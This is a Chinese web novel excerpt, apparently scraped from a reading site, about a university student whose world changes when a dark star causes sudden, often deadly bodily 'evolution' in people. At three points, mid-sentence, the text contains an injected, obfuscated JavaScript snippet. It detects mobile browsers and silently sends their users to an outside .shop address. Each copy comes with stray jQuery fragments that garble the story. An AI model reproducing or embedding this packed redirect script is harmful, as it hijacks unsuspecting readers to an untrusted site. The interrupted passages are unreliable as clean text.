《都别拦着我进化》 1. 天文课爆炸事件 云栖大学,6号教学楼302教室。 天文选修课教室,原本寥寥无几的学生,如今坐满了教室。 “……曾被称为‘地球杀手’的暗星结束了它漫长的旅行,与月球一样成为了地球的‘卫星’……” 课堂上,年迈的钟教授在滔滔不绝地讲述着。 已经放了三个月的假,这是复课后的第二周,同学们的脸上仍旧带着重回校园的兴奋和专注。 除了——林萤频频回头,看向最后一排角落里的那个男生——那个看上去正在睡觉的男生。 不正常,他太不正常了,从刚进教室起,林萤就发觉了从他身上散发出来的那股不详的气息。 讲台上,老教授讲到激动处,声音逐渐颤抖。 “……研究者们将这种现象命名为‘暗星伴月’,灭顶级的人类危机又一次无兵刃化解,很难不让人相信奇迹,也让我这个无神论者不禁感叹造物主的仁慈。然而,暗星虽然高抬贵手放过了地球,却仍旧带来了难以估量的后果:地震、海啸、火山喷发……” 这时,有同学举手提问。 “老师,为什么我们不将暗星炸掉,或者是用推进器将它拖到距离地球很远的地方?” 老教授久违地露出了笑容。 “这位同学的想法很有趣也很大胆!的确,用推进器将它推开将是未来我们研究的一个方向,但目前我们的技术上仍有所欠缺。此时此刻,暗星与月地之间的引力达到了平衡,暂时处于一个既定的、可预测的轨道上,如何应对推开暗星那一瞬引力的变化,这是我们需要考量的,要知道,我们人类再也禁不起一次引力失衡……不过,幸运的是,我们还有时间。” 那位同学继续提问。 “老师,我们都知道月球是同步自传的,所以在地球上我们永远看不到月球的背面。请问暗星也是如此吗?” 教授点点头,示意他坐下。 “目前的数据不充分,不能妄下定论,但模拟实验得出的相关结论是——与月球相同,暗星在自传的过程中同时也在围绕着地球公转。它也许会在几百年或几万年后消失,这对天文来说只是一瞬,但对我们人类来说却相反,可以预见的是有生之年它将一直陪伴我们。” 这时,林萤已经将注意力放回了课堂上,她举起手。 “老师,已知暗星的存在严重影响了地球的生态环境,请问除了这些,暗星对我们人类和其他生物的身体机能会有影响吗?” 林萤问这个问题并不是一时兴起,自从暗星降临后,原本很少做梦的她几乎每晚都会陷入光怪陆离的梦境之中,使得她疲惫不堪。她也曾试图记住梦中的内容,但奇怪的是醒来之后却仿隔了一层大雾,什么也记不清,只有急促的心跳声和额头的汗水提醒着她,这并不是一个美妙的梦。 老教授清了清嗓子。 “这个问题跟上个问题一样,也缺乏足够的观测数据。首先,最直观的影响是,以后抬头看,夜空中会有一大一小两个月亮,可以说是‘古人不见今时月,今月未曾照古人’,夜晚的明亮会干扰植物对日照长度的感知,也对我们的睡眠有所影响;其次,两颗‘卫星’共同的引力引发潮汐异常,气候不稳定,地球上的生物都需要自发地去适应这种变化,否则就会被淘汰。是以,我个人认为,暗星对生物一定会有影响,至于是正面还是负面,目前不得而知。要知道,迄今为止,暗星伴月的现象也只持续了两个月,我们的研究仍处在最初阶段……” 教授似乎还有什么话想说,只是拿不准,最终还是没有说出口。 林萤谢过他,缓缓落座,又一次回头看向角落里的男生。 那个男生从刚上课时便趴在桌子上,似乎是在睡觉,但是他的脖子一直在以肉眼可见的速度变长,不到十分钟,已经有小臂那么长了。他原本枕在课桌的中央,现在头已经垂到了课桌的边缘。 不止林萤,男生旁边的同学也发现了,大家都小声议论起来。 “最后一排那位同学,对,就是你,穿黑衣服戴眼镜的那位!你知道我刚刚在讲什么吗?” 老教授显然也注意到了,但他离得远看不清楚,只以为是男生睡觉打扰到了旁边的人,于是凑到话筒边上,大声提醒。 “那位同学,别睡了,站起来回答我的问题。” 那个男生迷迷糊糊站了起来,顿时引得周围人惊声尖叫——他的脖子竟比胳膊还要长! “同学,你的脖子……”教授自然也被吓了一跳,“你的脖子怎么了?!” 男生的脸涨红,他的头险些碰到天花板,身体不由自主踉跄,长长的脖颈左右摇晃,竟有些像蜿蜒的蛇身。显然,他本人也不适应自己的变化。 “老师,对不起,我好热也好困……啊!” 他的话刚说到一半,脖子突然间似充气般鼓胀起来,皮肤变薄,里面的血管骨骼也看得清楚,紧接着“嘭——”一声,他的脖子从中间炸开了,血肉纷飞如同点燃的爆竹。 一滴液体溅在了林萤的侧脸上,冰冰凉凉的,她抬手拭去,指尖竟似针扎般微微刺痛。 这一变故令所有人始料不及,一瞬间的死寂后整个课堂沸腾了。 同学们纷纷惊叫着跑开,连带着桌椅倒地,跑的跑,摔的摔,教室里乱作一团。 而那个男生下意识低头看去,一眼便看到了自己浇满暗红色血液的胸膛,他的眼里有懵懂有惊讶也有绝望,失去脖子的支撑,他的头“梆”一声砸在桌上又“骨碌碌”滚落在地,身子也缓缓地瘫倒在了椅子上。 林萤并没有立刻逃出教室,而是跑上讲台,一只手搀扶住被同样吓到的老教授,另外一只手拍了拍话筒。 “同学们,同学们!请不要挤,有秩序地向外走,防止踩踏!” 大部分学生都出去了,有些腿软的、吓得动不了的也被朋友们拽着离去,还有几个壮着胆子站在第一排的桌子前,举着手机哆哆嗦嗦在拍照,不时低声讨论着,面上也满是惊惧。 老教授在林萤的帮助下靠着椅子坐了下来,他从衣服兜里掏出一小瓶药,拿出一粒压在了舌下。 “老师,您还好吧?” “我没事,你拿手机了吗?快打急救电话……” “好,好的。” 林萤打完电话,抬起头,看向最后一排,整个教室后面空荡荡只剩蓝色的桌椅,唯有角落里那一团炸开的刺眼的红,引人注目。 很明显,那个同学不可能还活着了。 林萤不忍再看下去,垂下眼,听到老人的一声叹息。 “这个世界将要发生剧变......” “老师?” “你刚才问我暗星对生物有什么影响,也许这就是,但这也只是一个开始……” 教授的话说到一半,一个高高瘦瘦的白净女生迈着大步跑进了教室,看到老教授,顿时松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587659|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一口气。 她便是钟教授的助教刘璇,目前博二在读,她将一头滑顺的秀发挽在脑后,高高的鼻梁上架着无框眼镜,不笑的时候看上去颇为严肃。 “教授,我来晚了!不好意思,我忘记您有课,直接去实验室了……” “没事,科研人就该把精力放在实验上。”老教授说完,又提醒刘璇,“刘璇,你记得找一下这节选修课的名单,然后再统计一下今天的旁听生,统计好后联系一下同学们,他们都需要做心理疏导。” “好的,教授。” 老教授嘱咐完,看向一边的林萤,“同学,你叫什么,是哪个院的?” 林萤轻声回答。 “我叫林萤,是生科院的。” “林萤,我记住了,临危不乱颇具胆识,不错!”老教授点点头,“你去吧,这里有刘璇在。” 林萤看了刘璇一眼,对方冲她微微一笑,露出两个甜甜的酒窝。 “林萤,正好把你的联系方式给我吧,我就不用再统计你了。” 林萤也对她笑了一下,“好的,学姐。” 两人交换了联系方式,临行前,林萤回过头。 “老师,您的脸色很不好,还请尽快就医。” 老教授靠在椅背上,胸膛起起伏伏。 “他是我的学生,在我的课堂上出了事,我要在这里候着,等一个结果。去吧,林萤,每个人都有自己的使命,不必为我担心!” 林萤向老教授鞠躬辞行,而后转身离开。 三个月前,一个急速运行的天体穿过遥远的外太空,以难以观测的速度逼近地球,待人们发现时,已经无法阻挡。一时间,“小行星撞地球”、“堪比恐龙灭绝的大灾难”、“人类最大危机”种种言说纷纷攘攘,但很快都被天体引力造成的超级海啸和地震等灾难夺去了视线。 在巨大的、难以抗拒的灾害面前,人们似乎也回归了生命最初的模样,什么九九六零零七,什么黄金白银位高权重,通通抛在了脑后。人们奔跑向家人、爱人,痛哭流涕、悸动异常,却也无可奈何,只求一个死得痛快。 然而,就在人们准备好坦然迎接死亡时,这颗惰性小天体却在临近地球时,突然来了一个“急刹车”,稳稳地停在了月球边上。 像是有一双大手轻轻捏住了它,又将它放置在了一个对地球影响最小的位置上。 林萤思及此处,想到了老教授上课时说的“奇迹”,是啊,奇迹,如果这都称不上奇迹,世界上便没有奇迹了。 直至走出教学楼,林萤才想起方才指尖上的疼痛,她抬起手查看,却见手上没有半点伤口,更没有血迹,也就是说,刚才溅到她脸上的并不是血液。 ——那是什么呢? 淋巴液、唾液、组织液,或者是……脑脊液? 林萤忙止住胡思乱想,脚尖一转,直接去了实验室。 清洗三次,消毒两次,原本打算去心理健康咨询室的林萤本着来都来了的原则,干脆换上实验服,先看了一轮同门们培养出来的杂七杂八的细胞,又来到动物实验室,给嗷嗷待哺的动物们投喂了食物,然后回到自己的位置上开始工作。 待一切处理妥当,已是月上枝头。 今夜没有乌云,能见度高,天上一大一小两个银盘映照着大地,将地面也照得明晃晃的,树影花影失去了白日的好颜色,变成了重重叠叠的灰,夜风一吹,分外妖异。 2. 进化事件处理中心 不合时宜的“咕咕”声响起,林萤回过神来,摸着空荡荡的肚子来到食堂。 此时食堂一楼只剩下一个窗口,其他的窗口都已经关闭了,偌大的餐厅里,就餐的只有两三个学生和几个保洁。 林萤幸运地买到了最后一个葱香鸡蛋饼,又打了一碗只剩下盐水的免费汤。她一边吃饼一边打开手机,习惯性地看向校园论坛。 果不其然,上面讨论的都是今天天文课的事情。 “那人的头先是涨成气球,接着就炸开了,那叫一个血腥,糊的满教室都是脑浆!” “听说是做试验误食了什么染剂。” “胡说,明明是自制的火药,玩火自焚!” “楼上都是编故事,我是亲眼见到了,从脖子处炸开[图片][图片],内部图片,别往外面乱传。” “我去,牛!” “天!吓死宝宝了!放图那位哥们心脏可还好?” “放心,还在肚子里。” 林萤点开图片,看样子应当是那几个站在第一排的同学拍的。 她熟练地将发言拉倒右上角,点击删除,再刷一次,刚才那人的发言便被删了。 没错,她还有一个隐藏身份——论坛管理员。 “得,一秒图就不见了。” “我还没来得及截图呢!” “管理员在窥屏,不发了,再发号没了。” “苟住。” 林萤回到主界面,又翻看起来,她浏览的速度很快,大多数只是抓一个关键词去看。 就在这时,一条发言引起了她的注意。 “家人们,喜报!我的腿好像变长了!” “我都成年了,难道这就是二次发育?!” 回想今日课堂的状况,林萤试着联系了一下这个名为“誓要长到一米八”的网友,没想到不到一分钟,对方就回复了她的消息。 “哥们,我没骗人,不信你来操场西南角看我,我正坐在这里吹冷风呢!” 林萤三下五除二吃完晚饭,踩着明亮的月光赶到了操场。 自暗星出现后,晴日的夜晚光线几乎要与白昼一样,操场上的夜灯也不及暗星明亮,开与不开都无所谓。本着节省能源的原则,学校干脆就不开灯了。行走在这样的夜空下,就像走在冬日的晴天,虽明亮,但不温暖。 林萤在西南角看到一个穿白色短袖的男生,那人坐在台阶上,身旁放着半瓶矿泉水。他似乎很热,不仅脱掉了外套,还不停地撩起衣摆用来扇风。 已经十月中旬,虽不冷,但也不至于热成这样。 林萤皱着眉头,走向那个男生。 “誓要长到一米八?” “谁?谁叫我!” 白色短袖转了过来,他似乎是大一新生,留着清爽的短碎发,眼神单纯,脸颊上着淡淡的粉色。 他原本有些漫不经心,却在看清楚林萤时瞪大了眼睛,“你是女的?” 林萤点点头,“嗯”了一声。 “啊,你居然是女的——我的肱二头肌很发达?” 林萤在男生身前站定,而后又蹲了下来,夜风呼啸,吹得她额前碎发胡乱飞舞。 “是,是我,没人规定女生不能叫这个吧?” 白色短袖摸了摸鼻子。 “好吧,是我狭隘了……” “风这么大你穿这么少,不冷吗?” “不冷,反而很热,热极了!”见林萤的目光直往自己身上瞟,男生似乎有点不好意思,又说:“早知道你是女的,我就不叫你来看我了,这种时间这种地点,怪怪的……” 说着,他看向不远处搂搂抱抱的一对情侣。 林萤做了一个暂停的手势。 “打住,我来只是想看看你的腿。”林萤说完,感觉自己的话更古怪,她忙补充,“你说你的腿在变长?” “喏,你看。” 白色短袖指了指自己的双腿,他穿了一件蓝灰相间的格子裤,本该到脚踝的裤腿此时已褪到小腿肚上,使得长裤看上去像是短了一大截。 “我想离近点看,不介意吧?” “没事,看吧!” 林萤仔仔细细地观察着,她看到他腿上的皮肤争先恐后地出现了一道道红紫色的生长纹,如同条条蠕动的蚯蚓,看上去便让人头皮发麻,有的地方甚至隐隐渗出了血。 这个生长速度也太快了! “腿变长之前,你有没有感觉到什么异常?” “当然有啊!晚上吃完饭我照常来操场散步,突然觉得头有点晕,身上也有点热,于是就打算休息一会,可我刚坐下就看到自己的腿在慢慢变长。说实话,刚开始我特别惊喜,就在论坛上发了帖子,可是我现在有点怕了……” “也就是说,从你发现腿的异常到现在大概有十五分钟了,对吧,一米八?” “差不多。啊,那个,别叫我一米八,怪别扭的,我叫薛言,你呢?” “我叫林萤。你听说今天天文课上的发生的事了吗?” 薛言仰起头,灌了一大口矿泉水。 “我当然知道了,传的沸沸扬扬!听说是那学生偷拿了试管,试管炸了。” “不是。” 林萤摇头,一双眼睛紧盯着薛言。 “他和你的情况有些相似,也有发热和困倦的症状,只不过他长的是脖子,你是腿。” “你是说,我也会爆炸?!” 薛言听罢,差点跳起来,林萤忙按住了他的肩膀,她的手很凉,让原本焦躁的薛言莫名地平静了下来。 “我不确定……但是最主要的是,你先不要乱动。如果你相信我,我在这里守着你,直到你的身体不再变化,而且如果你愿意的话,我也想询问一下学姐,给她说一下你这边的情况。” 薛言“嗯”了一声,又坐回原地,双腿向下伸展开来,平平地铺在了台阶上。 “糟糕,我好像越来越晕了……” 话刚说完,薛言便抽搐了两下。 他似乎很难受,脸色变得通红,意识迷糊起来,头不停往下栽,身子也变得歪歪扭扭。 见状,林萤忙在薛言身侧坐下充当他的人形气垫,而后先打了急救电话,又给刘璇发去了视频请求。 响了两声后,视频接通。 刘璇那边乱糟糟的,似乎还有哭声。 “学姐,我是林萤,我……” 对面的镜头一直在晃,似乎是在跑步,而后稳定了下来,定格在一个放着望远镜的房间。 “林萤,刚刚有点吵,我跑出来了。什么事?” “学姐,我长话短说,我遇到了一个腿变长的同学,他有发热和嗜睡的情况,与今天出事的学生有些相似。” 林萤将镜头下移,薛言那双像开了长腿特效的双腿顿时撑满了屏幕。 刘璇瞪大了双眼。 “你们在哪?” “操场西南角,他已经有些神志不清了,我打了急救电话,但是还是不太放心。” “林萤,你听我说,这不是普通的病症,不止我校,在其他地方也有类似的情况。教授怀疑,这与暗星有关,也许是暗星带来的某种物质使得他们的激素出现了异常,导致肢端过于肥大,甚至出现破裂。” 林萤深吸一口气,如果暗星真的会让人激素异常,那么也就不难解释自己为什么每晚都会做噩梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587660|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了,激素异常会影响身体,从而影响睡眠质量。 “那怎么办,我做什么能帮助他?” “除了打急救电话外,你再问问他是哪个学院的,给辅导员打个电话,通知一下家属,也辛苦你先守着,不要暴力移动他。” 说着,刘璇打开门向外走去,方才隔绝的哭喊声逐渐变大。 “好了林萤,我这边还有事,先挂了。” “学姐再见!” 放下手机,林萤拍了拍靠在她肩膀上的薛言,对方已经彻底迷糊了,却还依着本能想蹭林萤凉凉的手,林萤只得将手覆盖在他的额头上。 真烫啊,怕是有四十度了。 仅仅只是打了个电话,薛言的七分裤已经快变成五分裤了,想到他“誓要长到一米八”的愿望,现如今,怕是已经超预期实现了。 林萤手拿起手机,开始记录:高热,昏迷,真皮层过度拉扯,胶原纤维和弹性纤维断裂…… 记录到这里,林萤不由得有些紧张,好在薛言的腿只是在变长,并没有像充气的气球一样鼓起,这让她暂时冷静下来,空出来的那只手摸到薛言的外套口袋,找到了他的校园一卡通。 “薛言,文学院……” 林萤打开学校官网,正想搜一下文学院辅导员的电话,突然听到一阵脚步。 她抬起头,就见一个陌生男人朝自己走来。 男人披着一身月色,月色下是白色军礼服,两指宽的黑色腰带勾勒得腰身紧俏,腰带中央是泛着光泽的银色虎头扣件。他身段欣长,双腿笔直而有力量,一双漆皮靴紧紧箍着小腿,显得整个人非常干练。 男人在距离林萤还有两步的位置停了下来,而后微微抬手,彬彬有礼地询问。 “打扰,请问是林萤同学吗?” 林萤左右看了看,而后缓缓点头。 此时操场上的人已经少了大半,但还是有不少夜跑的学生。 眼前这位男士不仅衣饰精致,气质也过于出众,显然不是像林萤一样的穷学生。 “是,我是林萤,请问你是?” 男人笑了笑。 “你好,我叫林祐均,方才听到刘璇说你这里也出现了发热事件,于是便过来看看。” “是刘璇学姐让你过来的?” 林祐均没有否认。 林萤将身侧的薛言指给林祐均。 “他高热昏迷,大概已经有五分钟了,我刚才给他灌了一点水,但是似乎不起作用。” 林祐均向前迈了一步,左腿跨上两个台阶,身子微微向前倾靠近薛言。他先是伸出两根手指探了探薛言的脖颈,接着翻看对方的眼皮,而后收回了手,将目光锁定薛言那分外不协调的腿。 “似乎没有什么危险,可以平安度过进化期。” 林萤敏锐地抓住了字眼。 “进化期?” “嗯,受暗星的影响,地球出现了大规模生物进化的现象,这个男生就是。” 林萤眯了眯双眼,“你不是刚从刘璇学姐那边过来吗?” “是的。” “可是,刘璇学姐她们的说法和你的不一样。”林萤打量了一番眼前的男人,“而且你的打扮不像是学生,也不像是保安,更不像是军人,你是谁?为什么要骗我?” 男人收回腿,先是低着头,而后肩膀一抖一抖地笑了起来,“都说大学生清澈愚蠢,我倒不觉得,明明就很警觉……” 眼见林萤就要喊人,林祐均忙抬起头看向她,同时举起双手,以示无害。 “抱歉,我真的没有骗你,我是从刘璇那边过来的,也确实不是什么学生、保安或者军人,我是进化事件处理中心的。” 3. “我也进化了!” “进化事件处理中心?” “嗯。你应该没有听说过,因为这是今天中午刚成立的组织。截至目前,我们已经处理了三十五起进化事件,其中,五人成功进化,三十人在进化中死亡。” 林萤反问道:“可我听说,这种症状是激素影起的肢体肿大,怎么会与进化有关?” “的确让人难以想象,但这就是真相。而且这只是一个开始,进化的人将越来越多,相应地,因为进化失败而死亡的人也会越来越多。” 林萤想起今日课堂上老教授未尽的话语,想起后排男生那失控的脖颈,再听到林祐均用波澜不惊的语气说出这番话,一时间愣了愣,而后她深吸一口气。 “您知不知道,您在说一件很荒谬,并且很容易引发恐慌的事情?” “有时候接受现实比忍受谎言更需要勇气。这种肢体肿大的现象,你称它激素异常也罢,称它进化也罢,它都会让人的能力更进一步。”林祐均指了指薛言,“比如说眼前这个腿变长的男孩,当他完成进化后,他的腿部便会比普通人更强一些,也许是跑的更快,也许是力气更大,稍后,你可以自行去验证。” 敏锐的第六感告诉林萤这个男人说的是真话,但生物学的专业素养令她难以接受如此迅速如此不科学的进化过程。 林祐均向后退了一步同时站直了身体,他的个子很高,挡住了洒在林萤脸上的月光。 “可进化应当是一个漫长的过程……” “以前是,以后就再也不是了,很快你将会熟悉进化这个词。我也许会进化,你也许会进化,某个与我们擦肩而过的人也会进化,因为进化的随机性、不可控性、高发性,用不了几天便会人人皆知……” 说话间,救护车的声音由远而近。 林萤忙站起来,朝救护车挥手。 很快,车开了过来,就见一群穿着白大褂的医护人员从车上下来,三下五除二,将薛言抬到运转床上,放进了车里。 救护车一来,学生们也围了过来,一个寸头高个小伙挤开人群走到护士边上,探头张望。 “出事的是薛言吗?” 林萤问他:“你们认识?” “嗯,一个专业的。我跑第一圈的时候就看到你们了,以为你们在谈恋爱,我就没敢打扰……” 眼见他还要絮絮叨叨地说下去,林萤打断了他。 “同学,麻烦你给你们导员打个电话,说薛言在医学院的急救站。” “好,好,我这就打。” 一旁的护士看向林萤和林祐均。 “来个人上车陪护病人。” 寸头小伙这时已经打完了电话,他一边举手一边上了救护车。 “我来我来,我们住在一起比较方便……妈呀,薛言腿咋这么长?要变异了!” 说话间,车门“啪”一下从里面合上了。 不仅医护人员着急,就连开车的司机似乎也很急,车门刚关,救护车便呼啸着离去,急匆匆的,似乎在赶场子。 随着救护车的离去,林祐均简单道别后也离开了,林萤本来还想询问他一些事情,但是对方的通讯设备一直响个不停,显然十分忙碌,她随即作罢。 林萤回到宿舍,洗了一个热水澡,然后躺在了床上。 床的一侧是墙,墙面上有一道明显的裂痕,这是前段时间大地震留下的痕迹。以往颇为嘈杂的女生宿舍楼里只偶尔传来同学们的寒暄声,除此之外,安安静静,落针可闻。 林萤原本有三位舍友,但三个月的假期后,便只剩下她一人。她的舍友,一人休学,一人在灾难中死亡,还有一人无论如何也联系不上,原本热闹且略微拥挤的四人间变得宽敞而孤寂。 林萤关上灯,爬上床,一闭上眼睛,就看见满是鲜血的桌椅和那个男生绝望的眼神,她忙甩了甩头,又想起薛言长长的双腿,接着是林祐均用波澜不惊的语气说的那些话。 这样下去绝对又会做噩梦! 林萤干脆睁开眼,将被子往上拉了拉,一只手举起手机翻看附近的招聘信息。 她翻了几页,都没有找到合适的,正要放下手机,突然感觉自己的脑袋像被什么东西猛烈地击打了一下,“嗡——”一声,一时间天旋地转,整个人像在坐失控的过山车,手机也砸落在了床上。 意识朦胧之际,她似乎看到了月亮。 两个月亮。 …… 再睁眼,已是翌日清晨。 林萤从湿哒哒床上醒来,她睁开眼,看着眼前这个透亮的世界,清楚地感受到了不可思议的身体变化。 进化,是林祐均口中的进化。 自己居然真的进化了! 她支起上半身,手触到的地方全湿漉漉的,她这才发现自己出了一身的汗,汗水渗透被褥,将原木色的床板都浸成了深褐色。 林萤翻身从床上下来,在衣柜里找了一件干净衣服,冲向淋浴间。 她仔细观察身体的每一处:眼、耳、鼻、舌、腹、背、四肢……从发丝到脚跟,每一处都不放过。 令她感到奇怪的是这些地方都跟之前没有差异——没有胖也没有瘦,没有变长也没有缩短,身上也没有像薛言那样的生长纹,只是皮肤比以往细腻。 单看外表,她仍旧是原来那个她,只有她自己知道,有什么东西不一样了。 首先就是眼睛,她的眼睛原本有轻度近视,看远处的东西时稍微有些模糊,但是现在,她甚至连空气中的微尘都能看个一清二楚。 其次是身体,林萤觉得自己整个人的身体变得干净、变得轻盈,变得充满了力量。 难道人会同时进化好几种器官? 林萤想得入神,手不自觉地用力握紧杯子,“咔嚓——”,那陪伴了她三载的粉色小熊不锈钢保温杯就这样被捏碎了。 !!! 我的力气居然这么大! 林萤看着自己的双手,暗自咂舌,自己应当是进化了手部,所以才会有这样大的力气吧? 她一边感叹一边暗自思索,看来自己不仅视力似乎变好了,手劲也变大了…… 半个小时后,林萤收拾妥当,出现在了图书馆。 “生物并不是‘获得’进化能力,而是一直处于进化之中。” “进化过程中的被动多于主动。” “进化是生命固有的属性,只有死亡才会阻止进化。” “一些外部因素会导致进化加速。” “……” 种种说法莫衷一是,林萤一目十行快速地翻过几本比五万人民币还厚的书。而后,一句话引起了她的注意。 “生命之所以会进化,是因为它感受到了危机并且有强烈存活下去的欲望。” 这句话不在书里,而在书页侧旁的空白部分,是有人用铅笔轻轻手写,然后被擦去。原本的字迹已经非常模糊,只是林萤的视力变好,清楚地看到了这些字。 这位不知姓甚名谁的读者留下的一句话引起了林萤强烈的共鸣。 ——危机,欲望。 林萤长长地舒了一口气。 自暗星出现的那一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587661|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,悠然闲适的生活便不复存在。有一段时间,林萤甚至不敢打开电视,上面播放的灾难和人们的泪眼都让她感到无比绝望。 曾经的高楼大厦,今日的残垣废墟,海水漫过城市,将热腾腾的人间变为冰凉凉的地狱,从繁荣到苍凉,只是仅仅一瞬。 林萤甩了甩脑袋,重新看向书页。 “生命之所以会进化,是因为它感受到了危机并且有强烈存活下去的欲望。” ——活下去,长长久久地延续。只要活下去,就有希望。 林萤拿着书走回座位,突然听到旁边两个人的聊天声。 “你看论坛那个置顶的帖子了吗,真的有人变异了!” “不叫变异,那个叫进化。” “好吧好吧!这里有个邀请码,说是邀请所有进化的人去加。你说,我去凑凑热闹怎么样?” 说话声短暂地停歇后,又继续开始了。 “不行,你看人家这里写的:要实名制,而且有人当面审查。你又没进化,一见面就露馅了。” “哎,好吧……” “别失望,进化也不全是什么好事情,进化失败可是要命的!你想想昨天那个爆炸事件……” “也是,还是小命要紧,小命要紧!” 两人交谈的声音非常小,但却清晰地钻进了林萤的耳朵里,尤其是当她有想听清楚的意愿时,那个声音简直就像放大了两三倍。 林萤知道这是进化后的结果,没想到除了握力、视力,自己的听力也变好了。 她将书放在桌子上,打开手机开始查看论坛。 首页的置顶便是刚才那两人交流的帖子。 帖子的名字叫做“今天你进化了吗?”,发帖人的名字叫做Dagger,乍一看有些不正经,点进去后,却全是扎实的科普内容。 里面讲到进化并不是一个很遥远的词汇,我们人类一直处在缓慢的进化之中,只是这种进化通常以千、万年为单位,而暗星的出现加速了人类的进化,将人类的进化提升至以小时、以分钟来计量。 由于这种进化速度过快,不少人难以承受,故会发生进化失败,即死亡的情况。 贴子里科普,进化有两个明显的症状:发热、嗜睡。并提醒如果有这两种症状的人,请先拨打急救电话,而后坐卧下来,等待救援。 科普完后,附了一个进化者群号,号召进化成功的人进群互相交流进化经验。 帖子的最后说:这只是一个关于进化的最初级的帖子,以后将会持续更新。 林萤将帖子截图,正要退出来,就看到自己有一个新的站内信,发信人是“誓要长到一米八”。 “嘿嘿!林萤,我进化成功了!” 林萤回复他,“你长到一米八了?” 那边停顿了片刻。 “没有,这个死腿又变回原来的长短了。但是,但是!我现在能跳三米高了!” 隔着屏幕,林萤似乎看到了薛言既烦恼又兴奋的样子。 “奥运金牌种子选手预定!” “嘿嘿,不说了,考核我的人来了。” “考核?” “对啊,论坛置顶帖你看了吗?里面那个群我加了,居然真的有人来考核我。” 林萤回复了一个“好”后,那边没有再回她,想必是正在考核中。 林萤想了想,又返回刚才观看的帖子。 这一次,她注意到有一个最新的发言,发言人名叫“局外人”,他说:请不要将你进化的事情透露给任何人,包括你的父母。 4. 再进化 此言一出,有个叫“立定跳远”的网友说:就算自己不说,别人也能看到啊,进化的时间又不是自己选的,是随机的,有些人是大庭广众之下进化的,就算再否认,别人也知道他进化了。 “局外人”回复:别人说是别人的事情,自己不要说就是了。 立即有个叫“天大地大女友最大”的反驳:为什么?目前来看,进化是一件好事,自然要跟亲近的人分享,我就把自己进化成功的事情分享给我的女朋友了。 局外人回他:信不信由你。 说罢,便把自己刚才的发言给删掉掉了。 不消一分钟便消失的对话没有在论坛里溅起任何水花,大家都兴致高昂地讨论着进化的事情。 林萤想联系一下这位名叫“局外人”的网友,却发现他在半分钟前注销了账号。 ——奇怪,太奇怪了。 前段时间的灾难使得大部分通信卫星罢了工,互联网也受到重创。虽说随着灾后重建工程的推进,已经逐步恢复了网络,但大多数时候,网速总是比较慢。 复学后,学校第一时间修复了局域网,大家交流的平台也从其他软件迁移到了校园论坛。 可以说,论坛是校内获得一手资讯的最佳途径,可这个人居然注销了,而且还是在这样一个非常时刻。 虽说也有换号重来的可能性…… 还没等林萤想明白,突然有一个人敲了敲她面前的桌子。 “叩!叩!” 林萤抬头看去,是一个穿着黑色T恤衫的男生,他指了指林萤面前的书,笑得轻佻。 “同学,这本书借我看看吧,反正你也没在看。” 林萤将书往自己身前挪了挪。 “这本我打算借回去,我记得书架上还有一本,你想看的话可以自己去找找。” “我懒得找,就要你这本。” 说着T恤男就要伸手去拿林萤的书,谁料,这书被对方死死压住,他用尽力气竟是抽不出来。 T恤男的脸色顿时有些难看。 “同学,我劝你放手,我可是进化者,小心我对你不客气!” 此言一出,周围零星几个同学都看了过来,T恤男很享受众人的目光,他抬起脚,示意林萤往下看,接着一脚猛踩下去。 “咔——” 原本光滑的大理石地板被踩裂了。 “天,这就是进化者的力量吗?” “应当是进化了脚部?” “啧啧,进化什么地方不好,偏偏进化了脚?说实话,有点鸡肋。” “鸡肋什么?要踩裂铺好的瓷砖通常需要300-500公斤的瞬间冲击力,这么大的力量,踢你一脚你直接粉碎性骨折,好吧?” 众人议论纷纷,T恤男的表情更是洋洋得意。他居高临下看着林萤,用食指点了点书,示意林萤快交给他。 林萤看了看时间,将书装进包里,站起来准备往出走。 她无声的抗议引起了T恤男的不满,对方伸长胳膊压在了林萤的肩膀上,把她又压回座位上。 “喂,你去哪?” “与你何干?” “呵呵。”T恤男怒极反笑,“看来你是不知道我们进化者存在的意义。” 林萤终于抬起了眼皮,她问:“什么意义?” T恤男环顾四周,丝毫不顾忌这是在图书馆,说话的声音又大又响亮。 “未来的世界,是属于我们进化者的。现有的秩序将会被推翻,财富、地位、权利,将全部属于我们进化者。而你们,则是普通的蝼蚁,只能依附于我们,听候我们的差遣,成为我们的不二奴仆!” T恤男的话让这个喧闹的图书馆重新恢复了该有的宁静。 众人看向他,目光中有不解,有若有所思,也有惊讶和恐惧。 